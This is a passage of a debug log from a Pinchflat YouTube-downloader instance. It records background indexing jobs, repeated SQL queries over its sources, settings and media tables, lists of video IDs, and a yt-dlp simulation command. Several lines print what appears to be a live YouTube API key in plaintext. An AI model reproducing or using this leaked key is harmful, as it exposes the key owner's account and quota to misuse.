s1."max_duration_seconds")))) [43] 16:55:45.876 [debug] QUERY OK source="tasks" db=0.1ms idle=227.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268356, 43, ~U[2026-10-09 21:55:45Z], ~U[2026-10-09 21:55:45Z]] 16:55:45.877 [info] {"args":{"id":43},"id":5268314,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":365537,"event":"job:stop","queue_time":322457,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:46.512 [info] {"args":{"id":23},"id":5268316,"meta":{},"system_time":1791582946512228959,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:55:46.512 [debug] QUERY OK source="sources" db=0.2ms idle=635.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 16:55:46.512 [debug] QUERY OK source="settings" db=0.0ms idle=635.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:46.513 [debug] QUERY OK source="media_profiles" db=0.0ms idle=629.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:55:46.513 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:46.513 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 16:55:46.513 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:55:46.513 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:55:46.685 [debug] QUERY OK source="media_items" db=0.5ms idle=172.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "F3BGWNuVMUE", "zy-ZowzY8rI", "iPqkxKao6Bk", "0EVEzVz1iTY", "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", ...] 16:55:46.686 [debug] QUERY OK source="media_items" db=0.3ms idle=173.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 16:55:46.687 [debug] QUERY OK source="tasks" db=0.1ms idle=174.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268357, 23, ~U[2026-10-09 21:55:46Z], ~U[2026-10-09 21:55:46Z]] 16:55:46.687 [info] {"args":{"id":23},"id":5268316,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":175286,"event":"job:stop","queue_time":446267,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:00.422 [info] {"source":"oban","duration":129,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:56:15.343 [info] {"source":"oban","duration":9638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:45.353 [info] {"source":"oban","duration":10024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.422 [info] {"source":"oban","duration":135,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:57:09.595 [info] {"args":{"id":37},"id":5268317,"meta":{},"system_time":1791583029595118804,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:09.595 [debug] QUERY OK source="sources" db=0.1ms idle=1248.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 16:57:09.596 [debug] QUERY OK source="settings" db=0.6ms idle=1248.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.596 [debug] QUERY OK source="media_profiles" db=0.6ms idle=1007.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:09.597 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.597 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 16:57:09.597 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.597 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:09.785 [debug] QUERY OK source="media_items" db=0.5ms idle=189.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "3BLxx5GpPkQ", "xXW35OmG_2s", "gMMPAjnrsg8", "6k3MCvZcNf0", "kvfyuReITgE", "-T_TIqokEBM", "17qdDkP14Ao", "FPHOLeDqI9o", "-s86EG5s4to", "7ymHZ4ad1zg", "IgrA6UWGE_w", "tA9FzgkzauM", "aqMJUkmPHUw", "cSOvVHmIwUE", "dChU-mIqI0s", "Oka7yNGFBOA", "fH_aZFRA5nQ", "J8NEUFlSRhM", "znzyBp8ruMM", "sRkxPi6IOY8", "MYX7D4TPO-I", "7oIIzbP9mLA", "zuBnPJLV8Zs", "96THecfcRbE", "9fkqORqi1wA", "bCkQhwnTpRI", "ZHt7xfhPsPg", "ZYGsrtIqxLA", "u6hjDgVUeTM", "X9cKnBwcpPE", "A0PL0Q5_AhQ", "7HAodxxPnvg", "LOc26tUJziM", "GTsYWE1QSbA", "tE4_YArfkNM", "PJgHERObbLA", "8T-uZpYUv-s", "n13CZ1XVNJI", "7O_jgUrMUs4", "E-79e3z4q1o", "xCiLvge4XXQ", "EB-HgHFEqeg", "wbbAhhj23Bo", "HjKVJeWks5o", "0m183T8j9wc", "3bUgF8AAGRU", "HaSaDehz2lc", "1n9vqO6R734", "7L-_Jzfzj-Y", ...] 16:57:09.786 [debug] QUERY OK source="settings" db=0.0ms idle=189.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.786 [debug] QUERY OK source="settings" db=0.0ms idle=189.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.786 [debug] Running yt-dlp command for action: get_media_attributes 16:57:09.786 [debug] QUERY OK source="settings" db=0.0ms idle=189.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.786 [debug] QUERY OK source="settings" db=0.0ms idle=189.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.786 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:09.786 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/44/a7/44a706e1a57824211335b743f4096a00984ec6c7681b0be8b6db61122c6da48e.json --sleep-requests 90 --sleep-interval 80 --sleep-subtitles 80 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:57:15.365 [info] {"source":"oban","duration":10766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:57:29.615 [info] {"args":{"id":36},"id":5268318,"meta":{},"system_time":1791583049615205748,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:29.615 [debug] QUERY OK source="sources" db=0.1ms idle=268.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 16:57:29.615 [debug] QUERY OK source="settings" db=0.0ms idle=268.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:29.615 [debug] QUERY OK source="media_profiles" db=0.1ms idle=268.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:29.616 [debug] QUERY OK source="settings" db=0.5ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:29.616 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 16:57:29.616 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:29.616 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:29.845 [debug] QUERY OK source="media_items" db=0.7ms idle=229.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "cvQ4mt95VD4", "nNl03lyJ0DY", "doFGXubmSDU", "qjCKMW5MmtI", "WJ4paCmvxRw", "UD9X5WxZ5nE", "s1khuVEDnpg", "s1F2wfUZYZQ", "Jm-6iviCl3k", "sz2u186BFek", "7iDmAl3xAIs", "jmrg7j5mhAc", "vWQ4T6rSI8I", "3xDmL9wrWHA", "EDe71YWP1PQ", "D1oCndkYDrU", "TRdwyWoFN2U", "cwXDjO_7tG0", "fPultyYlb-E", "PtCMsXYAPyc", "WVsG3daysEM", "NofmSGPCDr4", "63m_fsOE-eQ", "HC_kIVdg5CE", "YgMNE4C89EQ", "JrysfjSZRns", "MwllurO2M-Y", "G-2bgFvizNk", "gAiLAJ6jlbE", "voXclnaYIaE", "1YO2_PLGP-M", "GRH-Z7onr8k", "N36yb-X1LN0", "lW4DtROF2K4", "5WOfbrrmwYE", "Vwh9SpgU5UM", "pF7flwZJgLA", "BA-CE2hAIeY", "I0PX9qghK1M", "2Ft0NWeznB4", "dXHIMEH0tTo", "wWg_-RXVh2A", "kJC1l4__UhE", "pFiRYgvg69E", "Kf-67zxoUlw", "cDSiCPt2pKM", "fPOCtxWsBYs", "RYok1AdumBU", "YB_dhxAtTjU", ...] 16:57:29.847 [debug] QUERY OK source="media_items" db=0.9ms idle=230.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 16:57:29.848 [debug] QUERY OK source="tasks" db=0.1ms idle=231.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268358, 36, ~U[2026-10-09 21:57:29Z], ~U[2026-10-09 21:57:29Z]] 16:57:29.848 [info] {"args":{"id":36},"id":5268318,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":232818,"event":"job:stop","queue_time":389723,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:30.616 [info] {"args":{"id":2},"id":5268319,"meta":{},"system_time":1791583050616257819,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:30.616 [debug] QUERY OK source="sources" db=0.1ms idle=768.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:57:30.616 [debug] QUERY OK source="settings" db=0.0ms idle=768.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:30.616 [debug] QUERY OK source="media_profiles" db=0.0ms idle=762.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:30.617 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:30.617 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 16:57:30.617 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:30.617 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:30.783 [debug] QUERY OK source="media_items" db=0.6ms idle=165.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "dP91f2ZTcVo", "z8AtW0ufLuA", "NP7wz4bND3U", "ZF-AafvQZGI", "s3SdFYtRQB4", "9gxqJja_Uw8", "mQ4GG4As-so", "A2wtNp7A_pM", "PT8Iaeoah0A", "geN1VEZF1T0", "uzgWSN1aLt4", "aP68kBQDX2I", "6HcPlK1loWo", "NRhDHqEaXHc", "ijAISVpMIrs", "Dznsr0KN1XU", "2q5x8pdLRpo", "Olwjkt1QNTk", "MW_9s3Y_urI", "yYfActSoDbY", "u8R-bnz1MPU", "JmyepGMyt64", "42noFFM17NE", "AyaRzcapkZ0", "JOMaYjU4Gnw", "JivF-DgpiAE", "hgDGfh74pbw", "_YCDCBtjxrk", "alElfDsk9G8", "P5WzhbRbWKQ", "vVMZuSF7n24", "a2hhtkbcbtU", "MfwD2C4bvN0", "2qlV1KN_67Q", "m1PMTAEeywI", "BsWMWSI1uj4", "fgqKGIiP0SI", "WbO5wGNlrvk", "ezRmgQFaOc0", "WmzphlOwku8", "arA6Q45qTz0", "OpruRLLJC8Y", "R_bsecuV1OM", "w3E_LIeL4gY", "vI_aUzOCM9E", "lIHKjltoDvU", "jeW6dAHq2bQ", "Dwhvzwv7nTc", "zbqZ-0puJjg", ...] 16:57:30.786 [debug] QUERY OK source="media_items" db=2.7ms idle=166.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" 